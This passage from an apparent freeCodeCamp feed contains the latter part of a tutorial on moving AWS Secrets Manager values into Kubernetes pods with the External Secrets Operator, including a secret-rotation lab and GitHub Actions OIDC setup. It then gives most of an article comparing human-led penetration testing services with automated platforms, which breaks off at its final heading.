<p>The local lab gives you a fast learning loop. You can see the full pipeline working and test rotation without waiting for a cloud deployment.</p>
<h3 id="heading-step-1-clone-the-repo">Step 1: Clone the Repo</h3>
<pre><code class="language-bash">git clone https://github.com/Osomudeya/k8s-secret-lab
cd k8s-secret-lab
</code></pre>
<h3 id="heading-step-2-run-the-spin-up-script">Step 2: Run the Spin-Up Script</h3>
<pre><code class="language-bash">bash spinup.sh
</code></pre>
<p>The script will ask you to choose a local cluster type. Pick Microk8s or kind, depending on what you have installed. The script installs the External Secrets Operator via Helm, applies the Terraform configuration, and deploys the sample application.</p>
<p>If the script fails at any point, check <a href="https://github.com/Osomudeya/k8s-secret-lab/blob/main/docs/TROUBLESHOOTING.md"><code>docs/TROUBLESHOOTING.md</code></a> before retrying. The most common causes are missing AWS credentials, a misconfigured kubeconfig, or a Microk8s storage add-on that is not enabled.</p>
<h3 id="heading-important-run-the-lab-ui">Important: Run the Lab UI</h3>
<p>The lab ships with a separate guided tutorial interface that runs on your laptop. This is not the in-cluster application, it's a React-based checklist at <code>lab-ui/</code> that walks you through each concept and checkpoint as you work through the lab.</p>
<p>To start it, open a second terminal and run:</p>
<pre><code class="language-bash">cd lab-ui &amp;&amp; npm install &amp;&amp; npm run dev
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/698d563262d4ce66226a844a/873166e9-6bff-4e56-a18d-e58b9e9a5af9.png" alt="Screenshot of npm run dev lab ui terminal" style="display:block;margin:0 auto" width="849" height="435" loading="lazy">

<p>Then open <a href="http://localhost:5173"><code>http://localhost:5173</code></a>. You'll see a module-by-module guide covering the full flow from external secrets to rotation to CI/CD.</p>
<img src="https://cdn.hashnode.com/uploads/covers/698d563262d4ce66226a844a/5a5b220b-3f23-4c7c-8388-f2e23d122e2c.png" alt="Screenshot of The Lab UI, a guided tutorial interface that runs alongside the lab and walks you through each concept and checkpoint." style="display:block;margin:0 auto" width="1399" height="1287" loading="lazy">

<p>Keep this terminal running alongside your lab. The Lab UI and the in-cluster app (<code>localhost:3000</code>) are two separate things, the UI guides you through the steps, the app shows you the live secrets.</p>
<h3 id="heading-step-3-access-the-application">Step 3: Access the Application</h3>
<p>Once the lab finishes, port-forward the service.</p>
<pre><code class="language-bash">kubectl port-forward svc/myapp 3000:80 -n default
</code></pre>
<p>Open <code>http://localhost:3000</code>. You should see a table showing each secret key and whether the environment variable value matches the volume mount value.</p>
<img src="https://cdn.hashnode.com/uploads/covers/698d563262d4ce66226a844a/dbe122ac-b787-40d0-96f4-4b1276bab017.png" alt="Screenshot of the running application at localhost:3000. Every row in the table should show &quot;Match ✓" style="display:block;margin:0 auto" width="1213" height="902" loading="lazy">

<h3 id="heading-step-4-validate-that-secrets-match">Step 4: Validate That Secrets Match</h3>
<p>Run the compare endpoint directly from the terminal.</p>
<pre><code class="language-bash">curl -s http://localhost:3000/secrets/compare | python3 -m json.tool
</code></pre>
<p>When everything is working, the response will include <code>"all_match": true</code>.</p>
<h2 id="heading-how-to-inspect-the-externalsecret-and-the-application">How to Inspect the ExternalSecret and the Application</h2>
<p>At this point the lab is running. Now you'll want to inspect the manifests so you understand what each part does.</p>
<h3 id="heading-step-1-read-the-externalsecret-manifest">Step 1: Read the ExternalSecret Manifest</h3>
<p>Open <a href="https://github.com/Osomudeya/k8s-secret-lab/blob/main/k8s/aws/external-secret.yaml"><code>k8s/aws/external-secret.yaml</code></a>. Focus on these four fields:</p>
<ul>
<li><p><code>refreshInterval</code>: how often the operator polls AWS Secrets Manager</p>
</li>
<li><p><code>secretStoreRef</code>: which store the operator authenticates against</p>
</li>
<li><p><code>target</code>: the name of the Kubernetes Secret to create</p>
</li>
<li><p><code>data</code>: the mapping from AWS Secrets Manager JSON keys to Kubernetes Secret keys</p>
</li>
</ul>
<p>Here is what that mapping looks like in this lab:</p>
<pre><code class="language-yaml">spec:
  refreshInterval: 1h
  secretStoreRef:
    name: aws-secrets-manager
    kind: ClusterSecretStore
  target:
    name: myapp-database-creds
    creationPolicy: Owner
  data:
    - secretKey: DB_USERNAME
      remoteRef:
        key: prod/myapp/database
        property: username
</code></pre>
<p>The <code>property</code> field tells the operator which JSON key inside the AWS secret to extract. If your secret in AWS Secrets Manager is a JSON object, each field gets its own entry here.</p>
<p>Two fields here are worth understanding before you move on. <code>creationPolicy: Owner</code> means the operator owns the Kubernetes Secret it creates. If you delete the <code>ExternalSecret</code>, the Secret is deleted too. <code>ClusterSecretStore</code> is a cluster-scoped store, meaning any namespace in the cluster can use it. A plain <code>SecretStore</code> is namespace-scoped. For this lab, cluster-scoped is the right choice because it keeps the setup simple.</p>
<h3 id="heading-step-2-read-the-deployment-manifest">Step 2: Read the Deployment Manifest</h3>
<p>Open <a href="http://github.com/Osomudeya/k8s-secret-lab/blob/main/k8s/aws/deployment.yaml"><code>k8s/aws/deployment.yaml</code></a>. You are looking for two sections: <code>envFrom</code> and <code>volumeMounts</code>.</p>
<pre><code class="language-yaml">envFrom:
  - secretRef:
      name: myapp-database-creds

volumeMounts:
  - name: db-secret-vol
    mountPath: /etc/secrets
    readOnly: true
</code></pre>
<p>Both paths read from the same Kubernetes Secret, <code>myapp-database-creds</code>. The <code>envFrom</code> block injects all keys as environment variables at pod start.<br>The <code>volumeMounts</code> block mounts the same secret as files under <code>/etc/secrets</code>.</p>
<p>This is the core of the rotation lesson. Both paths read the same source. But they behave differently after that source changes.</p>
<h3 id="heading-step-3-read-the-app-comparison-logic">Step 3: Read the App Comparison Logic</h3>
<p>Open <a href="https://github.com/Osomudeya/k8s-secret-lab/blob/main/app/server.js"><code>app/server.js</code></a>. The comparison logic reads environment variables from <code>process.env</code> and reads mounted secret files from <code>/etc/secrets/&lt;key&gt;</code>. Then it computes a per-key match and a global <code>all_match</code> value.</p>
<p>The <code>/secrets/compare</code> endpoint sets <code>rotation_detected: true</code> when any key differs between env and volume.</p>
<h2 id="heading-how-to-test-secret-rotation">How to Test Secret Rotation</h2>
<p>Secret rotation is where real teams feel pain. This lab makes that pain visible so you can explain it clearly and fix it confidently.</p>
<h3 id="heading-how-the-rotation-gap-works"><strong>How the Rotation Gap Works</strong></h3>
<p>When a pod starts, Kubernetes gives it two ways to read a secret.</p>
<p>The first way is environment variables. Think of these like sticky notes written on the wall of the container the moment it boots up. The value gets written once, at startup, and never changes. Even if the secret in AWS gets updated ten minutes later, the sticky note still says the old value. The container cannot see the update because nobody rewrote the note.</p>
<p>The second way is a volume mount. Think of this like a shared folder that someone else can update remotely. Kubernetes creates a small folder inside the container and puts the secret value in a file there. When the secret changes in AWS and ESO syncs it into Kubernetes, the kubelet quietly updates that file within about 60 seconds. The container reads the file fresh every time it needs the value, so it sees the new password automatically.</p>
<p>Same secret, two paths. One goes stale while one stays fresh.</p>
<p>The problem happens when your app reads the database password from the environment variable, the sticky note, and someone rotates the password in AWS. ESO updates Kubernetes. The file gets the new password. But your app is still reading the sticky note, which has the old one. Connection fails.</p>
<p>That difference isn't a bug. It's how the Linux process model and the kubelet work. Understanding it is the difference between knowing Kubernetes secrets and actually operating them.</p>
<p>Here is what you're about to observe in the lab:</p>
<ul>
<li><p>The rotation script updates the secret in AWS</p>
</li>
<li><p>ESO syncs the new value into Kubernetes within seconds</p>
</li>
<li><p>The volume file updates automatically</p>
</li>
<li><p>The environment variable stays stale until the pod restarts</p>
</li>
<li><p>The <code>/secrets/compare</code> endpoint shows both values side by side so you can see the gap live</p>
</li>
</ul>
<h3 id="heading-step-1-confirm-the-lab-is-ready">Step 1: Confirm the Lab Is Ready</h3>
<p>Make sure your pod and the External Secrets Operator are both running before you start.</p>
<pre><code class="language-bash">kubectl get pods -n external-secrets
kubectl get pods -n default
</code></pre>
<p>Both should show <code>Running</code>.</p>
<h3 id="heading-step-2-run-the-rotation-test-script">Step 2: Run the Rotation Test Script</h3>
<pre><code class="language-bash">bash rotation/test-rotation.sh
</code></pre>
<p>The script performs these actions in order:</p>
<ol>
<li><p>Reads the current <code>DB_PASSWORD</code> from the volume mount at <code>/etc/secrets/DB_PASSWORD</code></p>
</li>
<li><p>Reads the current <code>DB_PASSWORD</code> from the environment variable</p>
</li>
<li><p>Updates AWS Secrets Manager with a new password using <code>put-secret-value</code></p>
</li>
<li><p>Forces an immediate ESO sync by annotating the <code>ExternalSecret</code> with <code>force-sync</code></p>
</li>
<li><p>Reads the volume value again</p>
</li>
<li><p>Reads the environment variable again</p>
</li>
</ol>
<p>After the script runs, the volume and the env var will show different values.</p>
<h3 id="heading-step-3-validate-with-the-compare-endpoint">Step 3: Validate With the Compare Endpoint</h3>
<p>Hit the compare endpoint and look at the output.</p>
<pre><code class="language-bash">curl -s http://localhost:3000/secrets/compare | python3 -m json.tool
</code></pre>
<p>You'll see something like this:</p>
<pre><code class="language-json">{
  "comparison": {
    "DB_PASSWORD": {
      "env": "old-password-value",
      "volume": "new-password-value",
      "match": false
    }
  },
  "all_match": false,
  "rotation_detected": true,
  "message": "Volume has new value; env still has old value."
}
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/698d563262d4ce66226a844a/c4ebb09f-e605-4f68-8e12-1361d94199b2.png" alt="Rotation mismatch, the volume file updated with the new password but the env var still holds the old value from pod startup." style="display:block;margin:0 auto" width="832" height="290" loading="lazy">

<h3 id="heading-step-4-restart-the-deployment-to-sync-env-vars">Step 4: Restart the Deployment to Sync Env Vars</h3>
<p>Env vars don't update in place. You need a pod restart so new containers start with the updated Kubernetes Secret.</p>
<pre><code class="language-bash">kubectl rollout restart deployment/myapp -n default
kubectl rollout status deployment/myapp -n default
</code></pre>
<p>Then hit <code>/secrets/compare</code> again. All rows should now show <code>"all_match": true</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/698d563262d4ce66226a844a/0040274d-a398-408c-9486-ce0a9e527479.png" alt="After a rolling restart, new pods pick up fresh env vars and all keys match." style="display:block;margin:0 auto" width="821" height="436" loading="lazy">

<h3 id="heading-how-to-automate-restarts-with-reloader">How to Automate Restarts With Reloader</h3>
<p>If you don't want to restart deployments manually after every rotation, you can install <a href="https://github.com/stakater/reloader"><strong>Stakater Reloader</strong></a>. It watches an annotation on the <code>Deployment</code> and triggers a rolling restart automatically when the referenced Kubernetes Secret changes. New pods start with fresh env vars, while old pods drain cleanly. The repo's local deployment guide includes the install steps.</p>
<h2 id="heading-how-to-choose-between-external-secrets-operator-and-the-csi-driver">How to Choose Between External Secrets Operator and the CSI Driver</h2>
<p>Two patterns dominate when it comes to pulling external secrets into Kubernetes: the External Secrets Operator and the <a href="https://secrets-store-csi-driver.sigs.k8s.io/">Secrets Store CSI Driver</a>.</p>
<p>Both get cloud secrets into pods, but they do it differently. Here's a plain comparison:</p>
<table>
<thead>
<tr>
<th>Feature</th>
<th>External Secrets Operator</th>
<th>Secrets Store CSI Driver</th>
</tr>
</thead>
<tbody><tr>
<td>Creates a Kubernetes Secret</td>
<td>Yes</td>
<td>No by default</td>
</tr>
<tr>
<td>Supports <code>envFrom</code></td>
<td>Yes</td>
<td>No (workaround only)</td>
</tr>
<tr>
<td>Secret stored in etcd</td>
<td>Yes (base64)</td>
<td>No, if you skip sync</td>
</tr>
<tr>
<td>Rotation</td>
<td>ESO updates the Secret, Reloader restarts pods</td>
<td>Volume file can update in place</td>
</tr>
<tr>
<td>Best for</td>
<td>Most teams. Multi-cloud, env var support</td>
<td>Security policies that prohibit secrets in etcd</td>
</tr>
</tbody></table>
<p>This lab uses the External Secrets Operator for two reasons. First, it produces a native Kubernetes Secret, which means your application and deployment patterns match standard Kubernetes workflows. Second, having both <code>envFrom</code> and a volume mount point to the same Secret makes the rotation behavior easy to observe side by side.</p>
<p>Use the CSI Driver when your security team prohibits storing secrets in etcd through a Kubernetes Secret. The driver mounts secret data directly into the pod file system without creating a Kubernetes Secret. The tradeoff is that you lose the native <code>envFrom</code> model.</p>
<h2 id="heading-how-to-deploy-the-pattern-on-amazon-elastic-kubernetes-service">How to Deploy the Pattern on Amazon Elastic Kubernetes Service</h2>
<p>The local lab is ideal for learning. The Amazon Elastic Kubernetes Service path adds the production-like pieces: IAM role-based permissions for the operator, a load balancer for the app, and a full CI/CD workflow.</p>
<h3 id="heading-step-1-prepare-terraform-and-openid-connect-access">Step 1: Prepare Terraform and OpenID Connect Access</h3>
<p>The repository includes a one-time setup guide for OpenID Connect-based access from GitHub Actions to AWS. Run these commands in the <a href="https://github.com/Osomudeya/k8s-secret-lab/tree/main/terraform/github-oidc"><code>terraform/github-oidc</code></a> folder.</p>
<pre><code class="language-bash">cd terraform/github-oidc
terraform init
terraform plan -var="github_repo=YOUR_ORG/YOUR_REPO"
terraform apply -var="github_repo=YOUR_ORG/YOUR_REPO"
terraform output role_arn
</code></pre>
<p>Copy the role ARN from the output. You'll need it in the next step.</p>
<h3 id="heading-step-2-set-the-required-environment-variable">Step 2: Set the Required Environment Variable</h3>
<p>The Amazon Elastic Kubernetes Service spin-up path needs your GitHub Actions role ARN so Terraform can grant the CI/CD runner access to the cluster.</p>
<p>To find your AWS account ID, run:</p>
<pre><code class="language-bash">aws sts get-caller-identity --query Account --output text
</code></pre>
<p>Then set the variable, replacing <code>ACCOUNT</code> with the number that command returns.</p>
<pre><code class="language-bash">export GITHUB_ACTIONS_ROLE_ARN=arn:aws:iam::ACCOUNT:role/your-github-oidc-role
</code></pre>
<h3 id="heading-step-3-run-the-spin-up-script-for-amazon-elastic-kubernetes-service">Step 3: Run the Spin-Up Script for Amazon Elastic Kubernetes Service</h3>
<pre><code class="language-bash">bash spinup.sh --cluster eks
</code></pre>
<p>When the script finishes, it prints the application URL. Open that URL in a browser and confirm that you see the same secrets table you saw locally, with all keys showing <code>Match ✓</code>.</p>
<h3 id="heading-step-4-test-rotation-on-the-deployed-app">Step 4: Test Rotation on the Deployed App</h3>
<p>After you confirm normal operation, run the rotation test the same way you did locally.</p>
<pre><code class="language-bash">bash rotation/test-rotation.sh
</code></pre>
<p>Then use <code>/secrets/compare</code> on the Amazon Elastic Kubernetes Service load balancer URL to validate behavior in the cloud environment.</p>
<p>⚠️ <strong>Cost warning:</strong> Amazon Elastic Kubernetes Service runs at approximately $0.16 per hour. When you're done with the lab, run <a href="https://github.com/Osomudeya/k8s-secret-lab/blob/main/teardown.sh"><code>bash teardown.sh</code></a> from the repo root to destroy all AWS resources and stop charges.</p>
<img src="https://cdn.hashnode.com/uploads/covers/5e1e335a7a1d3fcc59028c64/56f05ace-9ab6-4b67-ade6-a0bd1fa3962c.png" alt="Screenshot of the app running on the ALB URL, showing all keys matched" style="display:block;margin:0 auto" width="912" height="891" loading="lazy">

<h2 id="heading-how-to-configure-github-actions-without-stored-aws-credentials">How to Configure GitHub Actions Without Stored AWS Credentials</h2>
<p>The typical CI/CD setup stores <code>AWS_ACCESS_KEY_ID</code> and <code>AWS_SECRET_ACCESS_KEY</code> in GitHub repository secrets. Those keys never rotate. Anyone with repo access can read them. When someone leaves the team, you have to revoke keys and update every workflow.</p>
<p>OpenID Connect eliminates that problem entirely.</p>
<h3 id="heading-how-openid-connect-works-for-github-actions">How OpenID Connect Works for GitHub Actions</h3>
<p>GitHub can issue a short-lived token for each workflow run. That token identifies the run: the repository, branch, and workflow name. You create an IAM role in AWS whose trust policy says: only accept requests that come from this specific GitHub repository and branch. The GitHub Actions runner exchanges that token for temporary AWS credentials via <code>AssumeRoleWithWebIdentity</code>. No long-lived keys are ever stored anywhere.</p>
<img src="https://cdn.hashnode.com/uploads/covers/698d563262d4ce66226a844a/48e72210-a669-440e-b42e-81b0c15746ec.png" alt="The full OIDC authentication flow for GitHub Actions deploying to EKS — from minting the JWT token through AssumeRoleWithWebIdentity to temporary credentials, kubeconfig retrieval, and final kubectl apply steps." style="display:block;margin:0 auto" width="1536" height="1024" loading="lazy">

<h3 id="heading-step-1-create-the-iam-role-with-terraform">Step 1: Create the IAM Role With Terraform</h3>
<p>The <a href="https://github.com/Osomudeya/k8s-secret-lab/tree/main/terraform/github-oidc"><code>terraform/github-oidc</code></a> folder creates the OpenID Connect provider and the IAM role for you. You already ran this in the Amazon Elastic Kubernetes Service setup above. The role ARN is the only value you need to store.</p>
<h3 id="heading-step-2-add-the-role-arn-to-github-repository-secrets">Step 2: Add the Role ARN to GitHub Repository Secrets</h3>
<p>In your GitHub repository:</p>
<ol>
<li><p>Go to Settings → Secrets and variables → Actions</p>
</li>
<li><p>Click New repository secret</p>
</li>
<li><p>Name it <code>AWS_ROLE_ARN</code></p>
</li>
<li><p>Paste the role ARN from the Terraform output</p>
</li>
</ol>
<p>That is the only secret you store. The role ARN isn't sensitive. It's an identifier, not a credential.</p>
<h3 id="heading-step-3-configure-terraform-state">Step 3: Configure Terraform State</h3>
<p>For CI/CD to work consistently across runs, Terraform needs a shared state backend. The lab stores Terraform state in an Amazon S3 bucket and uses an Amazon DynamoDB table for state locking. The Amazon Elastic Kubernetes Service deployment guide in the repo covers the backend setup in full.</p>
<h3 id="heading-step-4-push-to-main-and-let-workflows-run">Step 4: Push to Main and Let Workflows Run</h3>
<p>After your first spin-up, every push to the <code>main</code> branch drives the CI/CD pipeline. The repo includes separate workflow files for Terraform infrastructure changes and application deployment changes. Once your application is reachable, use <code>/secrets/compare</code> to validate rotation behavior on the live environment.</p>
<h2 id="heading-how-to-troubleshoot-the-most-common-failures">How to Troubleshoot the Most Common Failures</h2>
<p>Here's a shortlist of the most common symptoms and their fixes.</p>
<table>
<thead>
<tr>
<th>Symptom</th>
<th>Most Likely Cause</th>
<th>Fix</th>
</tr>
</thead>
<tbody><tr>
<td><code>ExternalSecret</code> is not syncing</td>
<td>Missing credentials or wrong store reference</td>
<td>Confirm the operator can access AWS Secrets Manager and that <code>secretStoreRef</code> points to the correct store</td>
</tr>
<tr>
<td>Pod is stuck in <code>Pending</code></td>
<td>Missing storage setup for local cluster</td>
<td>For Microk8s, enable the storage add-on</td>
</tr>
<tr>
<td>Env and volume still match after rotation</td>
<td>Rotation happened but the pod never restarted</td>
<td>Run <code>kubectl rollout restart</code> or install Reloader</td>
</tr>
<tr>
<td>CRD or API version mismatch</td>
<td>ESO version and manifest <code>apiVersion</code> don't match</td>
<td>Verify the <code>apiVersion</code> for <code>ClusterSecretStore</code> and <code>ExternalSecret</code> match your installed ESO version</td>
</tr>
<tr>
<td>Amazon Elastic Kubernetes Service node group never joins</td>
<td>Networking or IAM permissions for nodes are wrong</td>
<td>Fix internet routing and review the node IAM policy</td>
</tr>
</tbody></table>
<h3 id="heading-how-to-inspect-the-operator-and-the-externalsecret">How to Inspect the Operator and the ExternalSecret</h3>
<p>When something isn't syncing, start with these two commands.</p>
<pre><code class="language-bash"># Check the ExternalSecret status
kubectl describe externalsecret app-db-secret -n default

# Check the ESO operator logs
kubectl logs -n external-secrets -l app.kubernetes.io/name=external-secrets
</code></pre>
<p>The status conditions on the <code>ExternalSecret</code> resource will usually tell you exactly what failed.</p>
<h3 id="heading-how-to-validate-rotation-from-the-app-side">How to Validate Rotation From the App Side</h3>
<p>When you are debugging rotation, don't rely only on Kubernetes resource state. Use the <code>/secrets/compare</code> endpoint to see what the running application actually observes. The endpoint tells you whether env and volume match and whether rotation has been detected. That is the ground truth for your application's behavior.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>You now have a complete secrets pipeline from AWS Secrets Manager into Kubernetes pods using Terraform and the External Secrets Operator. You ran the local lab, inspected the <code>ExternalSecret</code> and <code>Deployment</code> manifests, and validated that the application sees the right credentials.</p>
<p>You also tested secret rotation and observed the key behavior firsthand: mounted secret files update within the kubelet sync period, while environment variables stay stale until the pod restarts. That single observation explains a large class of production incidents.</p>
<p>Finally, you saw how the same design extends to Amazon Elastic Kubernetes Service with OpenID Connect-based CI/CD, and you have a troubleshooting checklist for the failures most teams hit.</p>
<p>The lab repository is at <a href="https://github.com/Osomudeya/k8s-secret-lab">github.com/Osomudeya/k8s-secret-lab</a>. If you ran the local lab, the natural next step is phases 4 and 5 from the repo's staged learning path: try the CSI driver path on Microk8s, then follow the EKS setup to see the same pipeline with a real CI/CD workflow and no credentials stored in GitHub. Both are documented in the repo and take less than 30 minutes each.</p>
<p>If this helped you, star the repo and share it with someone who is learning Kubernetes.</p>
<p><em>I send weekly breakdowns of real production incidents and how engineers actually fix them, not tutorials but real failures<br>→</em> <a href="https://osomudeya.gumroad.com/subscribe"><em>Join the newsletter</em></a></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Penetration Testing — Services vs Automated Platforms: What’s Better in 2026? ]]>
                </title>
                <description>
                    <![CDATA[ In 2026, cybersecurity teams face more threats than ever before. Attack surfaces are broad, technology stacks are complex, and adversaries are quick to exploit weak points. Against this backdrop, comp ]]>
                </description>
                <link>https://www.freecodecamp.org/news/penetration-testing-services-vs-automated-platforms-what-is-better/</link>
                <guid isPermaLink="false">69b843d22ad6ae5184d73e34</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ pentesting ]]>
                    </category>
                
                    <category>
                        <![CDATA[ automation ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Mon, 16 Mar 2026 17:54:26 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/uploads/covers/5e1e335a7a1d3fcc59028c64/820ccff8-9ef7-4b12-a7a9-113c5a71abdc.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In 2026, cybersecurity teams face more threats than ever before.</p>
<p>Attack surfaces are broad, technology stacks are complex, and adversaries are quick to exploit weak points.</p>
<p>Against this backdrop, companies must decide how best to test their defences.</p>
<p>Two main approaches have emerged as leaders: human-led penetration testing services and automated testing platforms. Each has strengths and limitations. Choosing the right one depends on your security goals, risk tolerance, and budget.</p>
<p>At its core, <a href="https://www.cloudflare.com/learning/security/glossary/what-is-penetration-testing/">penetration testing</a> is about finding security holes before attackers do. But how you get there matters.</p>
<p>Human experts bring creativity and real-world insight, while automated platforms offer scale and speed.</p>
<p>This article explores both approaches and compares top providers to help you decide what’s better for your organization in 2026.</p>
<h3 id="heading-what-well-cover">What we'll cover:</h3>
<ol>
<li><p><a href="#heading-what-are-penetration-testing-services">What Are Penetration Testing Services?</a></p>
</li>
<li><p><a href="#heading-what-are-automated-penetration-testing-platforms">What Are Automated Penetration Testing Platforms?</a></p>
</li>
<li><p><a href="#heading-why-the-debate-matters-in-2026">Why the Debate Matters in 2026</a></p>
<ul>
<li><p><a href="#heading-depth-of-testing-humans-vs-machines">Depth of Testing: Humans vs Machines</a></p>
</li>
<li><p><a href="#heading-speed-and-frequency-of-testing">Speed and Frequency of Testing</a></p>
</li>
<li><p><a href="#heading-cost-considerations">Cost Considerations</a></p>
</li>
<li><p><a href="#heading-integration-with-security-workflows">Integration with Security Workflows</a></p>
</li>
</ul>
</li>
<li><p><a href="#heading-real-world-context-top-providers-in-2026">Real World Context: Top Providers in 2026</a></p>
</li>
<li><p><a href="#heading-compliance-and-reporting">Compliance and Reporting</a></p>
</li>
<li><p><a href="#heading-which-one-should-you-choose-in-2026">Which One Should You Choose in 2026?</a></p>
</li>
<li><p><a href="#heading-final-thoughts">Final Thoughts</a></p>
</li>
</ol>
<h2 id="heading-what-are-penetration-testing-services">What Are Penetration Testing Services?</h2>
<p>Penetration testing services are engagements where cybersecurity professionals actively probe your systems to find vulnerabilities. These experts use a mix of tools, manual techniques, and real-world attack simulations to surface weaknesses that machines might miss.</p>
<p>These services may include scheduled tests, one-time assessments, and ongoing engagements. Many providers tailor their approach to the environment being tested, whether that’s a corporate network, web application, cloud infrastructure, or mobile ecosystem.</p>
<p>Human testers think like attackers, combining automated scans with logic and adaptability that machines cannot replicate on their own.</p>
<p>These engagements are typically measured in reports, debrief sessions, and clear remediation guidance. The human element is the defining factor. A skilled tester doesn’t just find flaws. They understand context, creative exploit paths, and business impact.</p>
<h2 id="heading-what-are-automated-penetration-testing-platforms">What Are Automated Penetration Testing Platforms?</h2>
<p>Automated penetration testing platforms use software to scan, crawl, and test systems for vulnerabilities. These platforms run scheduled scans or continuous assessments with minimal human intervention. They aim to find flaws early and often, integrating with development pipelines or security operations centers.</p>
<p>Automation brings consistency, speed, and the ability to repeat tests frequently. Many modern platforms use machine learning to prioritize findings and reduce noise. Some offer automation rules that trigger scans based on changes in the environment or codebase.</p>
<p>In contrast to full manual services, platforms are best suited for ongoing baseline assessments and rapid feedback. They are often priced in subscription models and integrate with other tooling like bug tracking systems or <a href="https://www.ibm.com/think/topics/siem">SIEMs</a>. While they can pinpoint known vulnerability patterns efficiently, automated tools are limited in creative attack paths and logic-based exploits.</p>
<h2 id="heading-why-the-debate-matters-in-2026">Why the Debate Matters in&nbsp;2026</h2>
<p>In 2026, the cybersecurity landscape is both more advanced and more hazardous. Organizations operate hybrid clouds, microservices architectures, and complex supply chains.</p>
<p>Threat actors are using AI to scale attacks. In this environment, the question is not only about finding old vulnerabilities but anticipating novel attack methods.</p>
<p>With limited resources, security leaders must choose wisely. Do you invest heavily in services with human experts? Do you adopt automated platforms that test continuously?</p>
<p>Maybe a mix is best. To answer these questions, let’s explore how the two approaches compare across key criteria.</p>
<h3 id="heading-depth-of-testing-humans-vs-machines">Depth of Testing: Humans vs&nbsp;Machines</h3>
<p>Human-led penetration tests shine when deep context and logic are required. Expert testers can chain together multiple issues to compromise a system in ways automated tools don't anticipate. They explore paths, think creatively, and adapt in real time to the environment they encounter.</p>
<p>Automated platforms excel at breadth and repetition. They perform wide sweeps of systems quickly and can generate alerts on common vulnerability classes. They're particularly strong in repetitive tasks like scanning hundreds of endpoints or validating compliance controls.</p>
<p>But platforms often rely on predefined signatures and patterns. They perform poorly when an exploit requires intuition or lateral thinking.</p>
<p>In simple terms, human services dig deep while platforms dig wide.</p>
<h3 id="heading-speed-and-frequency-of-testing">Speed and Frequency of&nbsp;Testing</h3>
<p>Automated platforms have a clear advantage in speed and frequency. They can run multiple scans in parallel, test after every code commit, and provide almost immediate feedback. This makes them ideal for DevOps pipelines and agile environments that change daily.</p>
<p>Penetration testing services, by design, occur on a schedule. A quarterly or annual test may be thorough, but it cannot match the cadence that automated tools provide.</p>
<p>Manual tests take time to plan, execute, and analyze. In fast-moving environments, this might leave gaps between testing windows.</p>
<p>For many organizations, automation fills these gaps, while manual testing provides periodic, deep insight.</p>
<h3 id="heading-cost-considerations">Cost Considerations</h3>
<p>Cost is always a factor. Automated platforms generally come with lower upfront costs compared to human-led engagements. Subscriptions scale with usage and provide continuous assessment for a predictable price. This makes them appealing to midsize companies or teams with limited budgets.</p>
<p>Penetration testing services, especially from reputable consultancies, command higher fees. These reflect labor costs, expertise, and the bespoke nature of the work.</p>
<p>However, the value gained is often more than just flaw detection: it’s expert interpretation, custom exploitation paths, and strategic guidance.</p>
<p>In cost-benefit terms, automated platforms provide the most value per dollar for baseline security, while services deliver high-value insight that can justify a higher cost.</p>
<h3 id="heading-integration-with-security-workflows">Integration with Security Workflows</h3>
<p>Automated platforms are built to integrate with broader security tooling. They often connect to continuous integration/continuous delivery (CI/CD) pipelines, vulnerability management platforms, and ticketing systems. This integration ensures that issues are communicated to the teams who need them most and tracked to resolution.</p>
<p>Penetration testing services can integrate into workflows too, but this usually requires additional coordination. Reports must be ingested into tracking systems and aligned with internal priorities. Some providers offer APIs and extended services that help bridge this gap, but the process typically takes more effort than with automated platforms.</p>
<p>Integration matters because security cannot operate in isolation. Automated platforms fit more naturally into modern DevSecOps workflows, while services provide episodic insights that must be planned and bridged into operations.</p>
<h2 id="heading-real-world-context-top-providers-in-2026">Real World Context: Top Providers in&nbsp;2026</h2>
<p>To illustrate how these approaches manifest in practice, consider a few leading options. Each provider offers different strengths in manual services or automated tooling.</p>
<p>One such provider is <a href="https://xbow.com/pentest">XBOW</a>. XBOW is known for deep manual testing engagements, combining expert human testers with structured methodologies across network, application, and cloud environments. Their work emphasizes real-world attack simulations and strategic risk reporting.</p>
<p>Another well-known provider is <a href="https://www.cobalt.io/">Cobalt</a>. Cobalt blends human expertise with platform-based management. Their Pentest as a Service (PtaaS) model connects testers to client environments through a platform that organizes findings, workflows, and communication. Clients can collaborate with testers, track issues in real time, and integrate results with other systems.</p>
<p>A different model comes from <a href="https://www.synack.com/">Synack</a>. Synack uses a crowd of vetted testers who work with a secure testing platform. This hybrid model aims to combine the creativity of human testers with the scalability and tracking of automated systems. Clients benefit from diverse testing styles and coordinated reporting within a structured platform.</p>
<p>Each of these approaches has merit. Some lean more toward pure services, others toward platform-driven collaboration. Your choice should align with your security maturity and goals.</p>
<h2 id="heading-compliance-and-reporting">Compliance and Reporting</h2>
<p>For regulated industries, compliance matters. Automated platforms often include reporting features that map directly to standards like PCI DSS, HIPAA, or ISO 27001. These reports can be generated on a regular cadence and integrated into audit evidence.</p>
<p>Penetration testing services provide compliance support too, but the reports are typically narrative and bespoke. The real value is in expert interpretation of compliance requirements and guidance on remediating complex findings.</p>
<p>In essence, automation provides structured, repeatable reporting, while services deliver customized insights that may carry more weight with auditors and internal stakeholders.</p>
<h2 id="heading-which-one-should-you-choose-in-2026">Which One Should You Choose in&nbsp;2026?</h2>
<p>There is no one-size-fits-all answer. Many organizations adopt both approaches. Automated platforms serve as the first line of defense by continuously scanning for known issues and tracking progress over time. Human-led services then provide a deeper second layer, uncovering complex issues and offering strategic guidance.</p>
<p>If your environment is highly dynamic, with frequent releases and evolving infrastructure, an automated platform is essential. If you operate in a high-risk sector where attackers are likely to craft bespoke exploits, human-led penetration testing services are indispensable.</p>
<p>Most mature security programs use both. Automation drives frequency and scale. Human services provide depth and insight. Together, they form a layered testing strategy that maximizes coverage and minimizes blind spots.</p>
<h2 id="heading-final-thoughts">Final Thoughts</h2>
